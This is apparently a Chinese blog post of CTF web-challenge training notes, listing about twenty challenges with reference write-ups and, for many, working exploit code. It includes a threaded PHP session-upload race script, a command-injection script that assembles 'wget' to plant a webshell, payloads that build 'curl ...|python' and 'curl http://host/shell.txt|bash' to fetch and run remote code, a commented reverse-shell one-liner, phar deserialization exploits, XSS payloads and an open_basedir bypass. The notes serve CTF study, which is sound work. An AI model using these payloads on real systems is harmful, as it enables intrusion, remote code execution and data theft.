practice_5.1training

五一特训,٩꒰▽ ꒱۶⁼³₌₃ 学习去咯!!!

http://106.15.93.118/challenges

1. ezphp

链接:

考点:

参考资料:

2. hardjs

链接:http://203.195.224.127:30002/login

考点:javascript原型链污染

参考资料:

1、writeup:https://lihuaiqiu.github.io/2019/09/25/XNUCA2019-Hardjs/#more

2、prototype-pollution-notes:https://www.xmsec.cc/prototype-pollution-notes/

3、javascript原型链污染详解:https://wulidecade.cn/2019/04/15/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E8%AF%A6%E8%A7%A3(%E5%90%8E%E6%9C%89%E5%BD%A9%E8%9B%8B)/

3. hardphp

链接:http://114.55.93.141:12345/

考点:

1、代码审计

2、ssti模板注入

3、SSRF TO RCE IN Mysql

参考资料:

1、writeup:https://forum.90sec.com/t/topic/397

2、php curl curl_getinfo()返回参数详解:https://www.cnblogs.com/zqifa/p/php-curl-3.html

3、URI和URL的区别:https://www.jianshu.com/p/ba15d066f777

4、blackhat:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

5、经典面试题:从浏览器地址栏输入网址,到网页彻底打开,中间经历了什么:

https://www.cnblogs.com/xieshengdev/p/10063882.html

6、URL各部分详解 https://blog.csdn.net/weixin_42246997/article/details/102782616

4. one-line-php-challenge

链接:http://203.195.224.127:30005/

考点:base64加解密原理+session文件上传

参考资料:

1、hitcon 2018受虐笔记一:one-line-php-challenge 学习:https://www.codercto.com/a/33740.html

2、hitcon2018 One Line PHP Challenge :https://www.joyk.com/dig/detail/1540387853494766

3、hitcon2018 One Line PHP Challenge : https://www.shukaiming.com/article/528

4、Real World CTF Of “The Return of One Line PHP Challenge” https://www.codercto.com/a/43464.html

(王一航???)

题目源码:

 <?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

4.1 思路

利用PHP_SESSION_UPLOAD_PROGRESS上传session文件,但session文件头总是upload_progress_,判断语句过不去,就想到用伪协议多次base64解码使得@<?php前面的内容正好为空,所以相当于要分两步走。

第一步 构造upload_progress_再加上两个字符,正好16个字符,是4的倍数,要用脚本爆破出符合要求的那两个字符。

第二步 @<?php及后面的内容也是要base64解码3次的,所以也要进行构造出合适的经3次base64加密的字符串。

<?php
//解码演示
//一般第一次解密就只剩下4个可见字符了
//第二次解密就没有可见字符了,根本就不用等到第三次解密
//exp:     upload_progress_ZB
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
    $i = 0 ;
    $data = "upload_progress_".substr(str_shuffle($str),10,2);
    #str_shrffle()随机地打乱字符串中的所有字符
    $s = base64_decode($data);
    $s_length = strlen(preg_replace('|[^a-z0-9A-Z /]|s', '', $s));
    $ss = base64_decode($s);
    $ss_length = strlen(preg_replace('|[^a-z0-9A-Z /]|s', '', $ss));
    $sss = base64_decode($ss);
    if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
        echo $s;
        echo "</br>";
        echo $s_length;
        echo "</br>";
        echo $ss;
        echo "</br>";
        echo $ss_length;
        echo "</br>";
        echo $data;
        break;
    }
}
import string
from base64 import b64encode
from random import sample, randint
#payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
payload = '@<?php echo `cat /flag`;?>'
while 1:
    junk = ''.join(sample(string.ascii_letters, randint(1, 24)))
    #从序列a中随机抽取n个元素,这里的序列a为string.ascii_letters,n为randint(1, 24),并将n个元素生以list形式返回。
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        print xxx
        break

第三步 大概思路

1、上传的html脚本,value处写构造内容,如:ZBVVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIVG1oa1EwRjJXbTE0YUZveVFUZFFlalZv。上传文件尽可能大,我上传的文件大小大概是2MB。PHPSESSID处自定义。

2、session存储路径为/var/lib/php/sessions/,用伪协议访问,?orange=php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_name

<html>
<head>
    <title>upload</title>
</head>
<body>
    <form action="http://47.112.158.20:30004/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file1" />
    <input type="submit" />
    </form>
</body>

</html>

4.2 orange大佬的脚本改良版

还是用脚本比较高端、大气、上档次!!!

#coding:utf-8
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://47.112.158.20:30004/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php echo `cat /flag`;?>'
#这里记得要有echo

# while 1:
#     junk = ''.join(sample(string.ascii_letters, randint(1, 24)))
#     x = b64encode(payload + junk)
#     xx = b64encode(b64encode(payload + junk))
#     xxx = b64encode(b64encode(b64encode(payload + junk)))
#     if '=' not in x and '=' not in xx and '=' not in xxx:
#         print xxx
#         break

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZB' + 'VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIVG1oa1EwRjJXbTE0YUZveVFUZFFlalZv'
    }
    with open(r'C:\Users\hacker\Desktop\kong.txt', 'rb') as fp:
        #这里的文件要尽可能大
        while 1:
            r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if b'flag' in c:
            print(c)

if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
# result = pool.map_async(runner, range(32) ).get(0xffff)
result = pool.map_async(runner, range(32) ).get(0xffff)

one-line-php-challenge

5. ssrfme (python代码审计)

链接:http://114.55.93.141:30003/

考点:ssrf

参考资料:

1、BUUCTF WEB [De1CTF 2019]SSRF Me https://blog.csdn.net/qq_42967398/article/details/103549258

2、De1CTF ssrf_me 的三种解法 https://xz.aliyun.com/t/5927#toc-3

5.1 思路

绕过限定条件:

1、action处要求既有read,又要有scan;

2、秘钥secret未知,但要求param、action和sign满足固定的条件,所以就要根据字符串拼接进行伪造绕过

3、param=flag.txt,过程中会把沙箱里的result.txt内容写到flag.txt,如果我们满足条件,最后访问就拿到了flag。

5.2 注意事项

burp构造发包时,Cookie处格式为:Cookie:action=readscan;sign=72375f30ec54455edd643858eaef4529

写python脚本时,则为cookies=content,content处为一个构造的字典。

6. readme (cookie伪造)

链接:http://203.195.224.127:30007/

考点:ssrf

参考资料:

1、writeup1:https://www.cnblogs.com/kevinbruce656/p/12638984.html

2、writeup2:https://cloud.tencent.com/developer/article/1611142

https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

6.1 思路

看到/read?url=这里的read,联想到是python框架,url后面接一个/etc/passwd,可以看到是一个任意文件读取,再去读/app/app.py,看到源代码。

uuid.getnode()得到本机的mac地址,并转为整数。路径为/sys/class/net/eth0/address,访问得到,并要转为16进制,就是去掉所有分号并在最前面加上一个0x;

然后计算str(random.random()*233)得到密钥,并且只有将密钥截取到小数点后9位才能成功,神奇,36.280453523。(其实解密的时候是不需要密钥的!)

python flask*3.py decode -s -c  #解密,根据解密结果修改后进行加密
python flask*3.py encode -s -t  #加密

带着伪造的session访问/flag即可。

7. easypython

链接:http://203.195.224.127:30004/

考点:

参考资料:

1、writeup:https://www.cnblogs.com/wangtanzhi/p/12181032.html

2、 SUCTF 2019 Writeup — De1ta :https://xz.aliyun.com/t/6042#toc-24

3、urlparse和urlsplit函数用法:https://blog.csdn.net/weixin_41684949/article/details/94619328

4、python 中 urlparse 模块介绍:https://www.cnblogs.com/xie-kun/p/7858358.html

5、blackhat大会ppt https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

7.1 思路

1、代码审计

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <form method="GET" action="getUrl">
        URL:<input type="text" name="url"/>
        <input type="submit" value="Submit"/>
    </form>

    <code>

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    #得到域名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    #上面的两个if语句,分别通过parse.urlparse和parse.urlsplit截取到域名,并进行两次判断
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
        #域名处以.隔开的各部分进行编码后再解码,此处是破题点
    parts[1] = '.'.join(newhost)
    #综上,对parts的域名部分进行了if判断和编码解码处理。
    finalUrl = urlunsplit(parts).split(' ')[0]
    #以空格为分隔符,并取第一部分作为finalurl,相当于去掉空格
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->
</body>
</html>

2、要清楚nginx重要文件的配置路径:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx/access.log
配置文件目录为:/usr/local/nginx/conf/nginx.conf

3、用unicode编码绕过,fuzz脚本(根据题目源代码改的)如下:

注意:用python3,导入相应库,改return

#coding:utf-8
from urllib import parse
from urllib.parse import urlparse,urlunsplit,urlsplit

def getUrl(url):
    url = url
    #
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    #
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    #
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    #
    else:
        return False
    #

for i in range(0,65536):
  url = "http://suctf.c{}".format(chr(i))
  try:
      if getUrl(url):
          print("str: "+chr(i)+"   unicode:  \\u"+str(hex(i))[2:])
  except:
      continue

利用file协议先读nginx配置文件目录,看到flag所在路径,读取flag。

file://suctf.cC/usr/local/nginx/conf/nginx.conf
file://suctf.cC/usr/fffffflag

8. easyweb

链接:http://203.195.224.127:30008/

考点:sql注入+文件上传

参考资料:

1、http://note.youdao.com/noteshare?id=3bc1b9494dd70bec8900b29e40ea093f&sub=48AFCF72F97E4F18932E8CFD361323E8

2、[CISCN2019 总决赛 Day2 Web1]Easyweb https://www.cnblogs.com/wangtanzhi/p/12253918.html

9. rce??

链接:http://203.195.224.127:30009/

考点:

参考资料:

1、命令注入各种骚姿势:

https://wulidecade.cn/2019/02/17/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E5%90%84%E7%A7%8D%E9%AA%9A%E5%A7%BF%E5%8A%BF/

题目源码:

<?php
if(strlen($_GET[1])<8){
    echo shell_exec($_GET[1]);
}
highlight_file(__FILE__);
?>
#!/usr/bin/python3
#-*- coding: utf-8 -*- 

import requests 
def GetShell():
    url = "http://203.195.224.127:30009/index.php?1="
    fileNames = ["1.php","-O\ \\","127\ \\","224.\\","195.\\","03.\\","\ 2\\","wget\\"] 
    # linux创建中间有空格的文件名,需要对空格转义
    #wget 203.195.224.127 -O 1.php

    for fileName in fileNames:
        createFileUrl = url+">"+fileName
        print createFileUrl 
        requests.get(createFileUrl)
        #每次命令执行都可以在当前目录下写一个文件。
        #写文件用>

    getShUrl = url + "ls -t>1"
    #把所写的所有文件名按时间排序组合在一起,写到文件1里
    #wget 203.195.224.127 -O 1.php
    #访问远程主机,得到一个一句话木马
    print getShUrl
    requests.get(getShUrl)
    getShellUrl = url + "sh 1"
    #执行文件1里的内容,首行为1并不影响。
    print getShellUrl
    requests.get(getShellUrl)

    shellUrl = "http://203.195.224.127:30009/1.php"
    response = requests.get(shellUrl)
    if response.status_code == 200:
        print "[*] Get shell !"
    else :
        print "[*] fail!"

if __name__ == "__main__":
    GetShell()

10. rce复仇

链接:http://203.195.224.127:30010/

考点:

参考资料:

1、命令注入各种骚姿势

https://wulidecade.cn/2019/02/17/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E5%90%84%E7%A7%8D%E9%AA%9A%E5%A7%BF%E5%8A%BF/

2、Hitcon2017 babyfirst-revenge复现 https://blog.csdn.net/u011377996/article/details/82464383

思路:

先写一个ls -t>g到_文件,然后

import requests
from time import sleep
from urllib import quote
payload = [
   # generate `ls -t>g` file
    '>-t\'
    '>\>g'
    '>l\'
    '>s\ \'
    'ls>a'
    'ls>>a'
    #由前面所述,错误的命令不会影响后面正确语句的正确执行,所以第一行到第三行是错误的命令可忽略,并且第三行a后没有续行符,这不会影响到下一行。从第四行到第七行,由于续行符(\),可以构成如下的命令:
   # generate `curl orange.tw.tw>python`
   # curl shell.xxx.pw|python
   '>on', 
   '>th\\', 
   '>py\\',
   '>\|\\', 
   '>pw\\', 
   '>x.\\',
   '>xx\\', 
   '>l.\\', 
   '>el\\', 
   '>sh\\', 
   '>\ \\', 
   '>rl\\', 
   '>cu\\', 
   # exec
   'sh a', 
   'sh g', 
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
   assert len(i) <= 5 
   r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
   print i
   sleep(0.2)

11. SimplePHP

链接: http://47.107.89.184:3333

考点:phar反序列化

参考资料:

1、 2018SWPUCTF-Web全详解 https://xz.aliyun.com/t/3656#toc-0

11.1 源码

index.php

<?php
//index.php
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

file.php

<?php 
//file.php
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php
//function.php
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>  

class.php

<?php
//class.php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

base.php

<?php
//base.php
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

11.2 思路

程序结束时C1e4r类会调用destruct,利用echo输出类来调用Show类的toString,利用没有source成员变量的特性,调用Test类的get,进行任意文件读取。

需要注意的是路径要为绝对路径,魔术函数__GET得到键值的方式。

另一种思路:想利用Show的wakeup,本地跟踪发现是可以读到文件数据的,但后面因为$show->source = $file;
$show->_show(); 猜测是把返回值给覆盖了,最后未出现flag。而解题思路是在程序最后结束时调用destruct的,所以没有存在这个问题。

exp:

<?php
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
class C1e4r
{
    public $test;
    public $str;
}
$a = new Test();
// $a->params = array("source"=>'D://flag');
$a->params = array("source"=>'/var/www/html/f1ag.php');
$b = new Show();
$b->str['str'] = $a;
$c  = new C1e4r();
$c->str = $b;
echo serialize($c);
$phar = new Phar("18.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?> 

12. Simple Upload

链接:

考点:

参考资料:

13. Try to alert(XSS)

链接:https://challenge.intigriti.io/

考点:XSS

参考资料:

1、writeup1:https://xz.aliyun.com/t/7655

2、writeup2:https://www.secpulse.com/archives/128882.html(不用.htaccess)

源代码:

var hash = document.location.hash.substr(1);
//hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
//location.hash返回当前url的锚部分
//.substr(1)取的是#后面的那一部分
if(hash){
  displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
  if(e.target.value != "")
    displayReason(e.target.value);
}
function reasonLoaded () {
    var reason = document.getElementById("reason");
    reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
  window.location.hash = reason;
  var xhr = new XMLHttpRequest();
  xhr.addEventListener("load", reasonLoaded);
  xhr.open("GET",`./reasons/${reason}.txt`);
  xhr.send();
}

exp:

探测:/.htaccess?x<img src=# onerror=alert(1)>


打:../.htaccess?%253cimg%2520src=%2523%2520onerror=alert(1)%253e   会生成img标签,而且已经渲染,但不会弹窗

探测: /x%27-alert(document.domain)-%27

<iframe/srcdoc='<script src="x%27-alert(document.domain)-%27"></script>'>
打: ../.htaccess?%253ciframe%252fsrcdoc%253d%2527<script%2520src%253d"x%252527-alert%2528document%252edomain%2529-%252527"><%252fscript>%2527>        

//配合iframe的srcdoc属性,通过script标签,加载x'-alert(document.domain)-'路径下的内容当作js执行,内容是这个:404 - 'File "x'-alert(document.domain)-'" was not found in this folder.'
最终导致弹窗

14. SVG XSS

链接:

考点:

参考资料:

15. Json Cat

链接:http://catweb.zajebistyc.tf/

考点:

参考资料:

1、Confidence2020-Web题解 https://hpdoger.cn/2020/03/15/title:%20Confidence2020-Web%E9%A2%98%E8%A7%A3/

16. template js

链接:https://templejs.zajebistyc.tf/

考点:

参考资料:

1、Confidence2020-Web题解 https://hpdoger.cn/2020/03/15/title:%20Confidence2020-Web%E9%A2%98%E8%A7%A3/

17. hardweb

链接:http://139.224.236.99:8667/

考点:无数字字母shell + .htaccess文件上传 + 绕过open_basedir/disable_function

参考资料:

1、文档:writeup.note
链接:http://note.youdao.com/noteshare?id=76ca44341bd234158e8ec635affcea2d&sub=B06DF4E3E2E840A28A9ECA60BDE4CF8A

2、writeup1:https://blog.csdn.net/qq_39563369/article/details/103285011?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

3、writeup2:https://www.cnblogs.com/wangtanzhi/p/12250386.html

4、writeup3:https://www.cnblogs.com/20175211lyz/p/11488051.html

5、writeup4:https://xz.aliyun.com/t/6042#toc-21

6、PHP动态特性的捕捉与逃逸
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

7、 利用htaccess绕黑名单,mail绕过disable function https://xz.aliyun.com/t/3937

17.1 思路

没有思路,就是掌握太少!!!

题目源码:

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        //扩展名不能带有ph,用.htaccess
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        //mb_strpos()返回要查找的字符串在另一个字符串首次出现的位置,不能有<?
        //绕过方式1:<script language="php">@eval($_POST['a']);</script>
        //这道题php版本为7.2,无法使用绕过方式1
        //绕过方式2,用base64编码绕过
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        //读取图像的第一个字节,并检查其签名
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);   //将上传的文件移动到新位置
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
       //过滤的有[ \x00 - 空格 0-9 A-Z a-z ' " ` ~ _ & . , | = [ \x7F
    //加号匹配前面的子表达式一次或多次,例如"zo+"能匹配"zo"和"zoo",但不能匹配"z"。+等价于{1,}。
    die('Try something else!');

$character_type = count_chars($hhh, 3);
//count_chars(),包含在$hhh中使用过的不同字符。
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

17.1.1 fuzz测试和无数字字母shell

1、根据题目正则滤过机制,写脚本查看还剩下哪些可见字符。

2、php代码中没有引号的字符都作为字符串。

构造:${_GET}{phpinfo}();

绕过可见字符的检测
echo urlencode("_GET"^urldecode(%ff%ff%ff%ff));
%A0%B8%BA%AB
payload:
?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo

17.1.2 绕过exif_imagetype()

加文件头\x00\x00\x8a\x39\x8a\x39,这个是wbmp文件的文件头,要么在winhex里加,要么用python的bytes类型,例如:b”\x00\x00\x8a\x39\x8a\x39”。这里是六个字节, 写shell的时候后面要再加两个字节,凑够8字节,满足base64解码规则。例如:b”\x00\x00\x8a\x39\x8a\x39”+b”00”

.htaccess中以0x00开头的同样是注释符,不会影响到.htaccess。

17.1.3 绕过disable_function

c=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/THis_Is_tHe_F14g'));

18. Boring code

链接:http://139.224.236.99:8123/ (多了一点限制!!)

http://203.195.224.127:8123/

考点:代码审计+代码执行

参考资料:

1、【SSRF】如何绕过filter_var(), preg_match() 和 parse_url() https://www.jianshu.com/p/80ce73919edb

2、writeup:https://www.cnblogs.com/BOHB-yunying/p/11616311.html#38yMmYAA

3、正则分析: https://regex101.com/

18.1 思路

题目源码:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        # filter_var — 使用特定的过滤器过滤一个变量
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                //这里的迭代正则匹配无参数函数
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}
只能执行类似  a(b(c())); 的代码
同时还有一些黑名单et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log
flag在上一个目录的index.php里面

首先要走到上一个目录

现在已经能够切回到上一层目录 

var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

phpversion()返回php版本,如7.3.5
floor(phpversion())返回7
sqrt(floor(phpversion()))返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))返回True

localtime(time(True))返回一个数组


最终的exp:
一
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

二  http://203.195.224.127:8123/
echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

19. ezcms

链接:http://139.224.236.99:8124/

考点:源代码泄露+hash长度扩展攻击+phar反序列化

参考资料:

1、ByteCTF_2019&XNUCA_2019部分web题复现 https://blog.csdn.net/qq_42181428/article/details/100659865

2、利用SoapClient类进行SSRF+CRLF攻击 https://blog.csdn.net/qq_42181428/article/details/100569464

3、 N1CTF Easy&&Hard Php Writeup https://xz.aliyun.com/t/2148

20. hardRCE

考点:代码执行+反弹shell(因为``没有回显,所以最好反弹shell)

题目

<?php
    highlight_file(__FILE__);
    $cc = $_GET['cc'];
    eval(substr($cc,0,6));
?>
payload:
?a=`$cc`;curl http://host/shell.txt|bash;

   转载规则


《practice_5.1training》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
best_upload best_upload
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-02
下一篇 
best_rce best_rce
我想给你一把打开这扇门的钥匙,而你要做的便是静静的聆听接下来的故事。
2020-04-30
  目录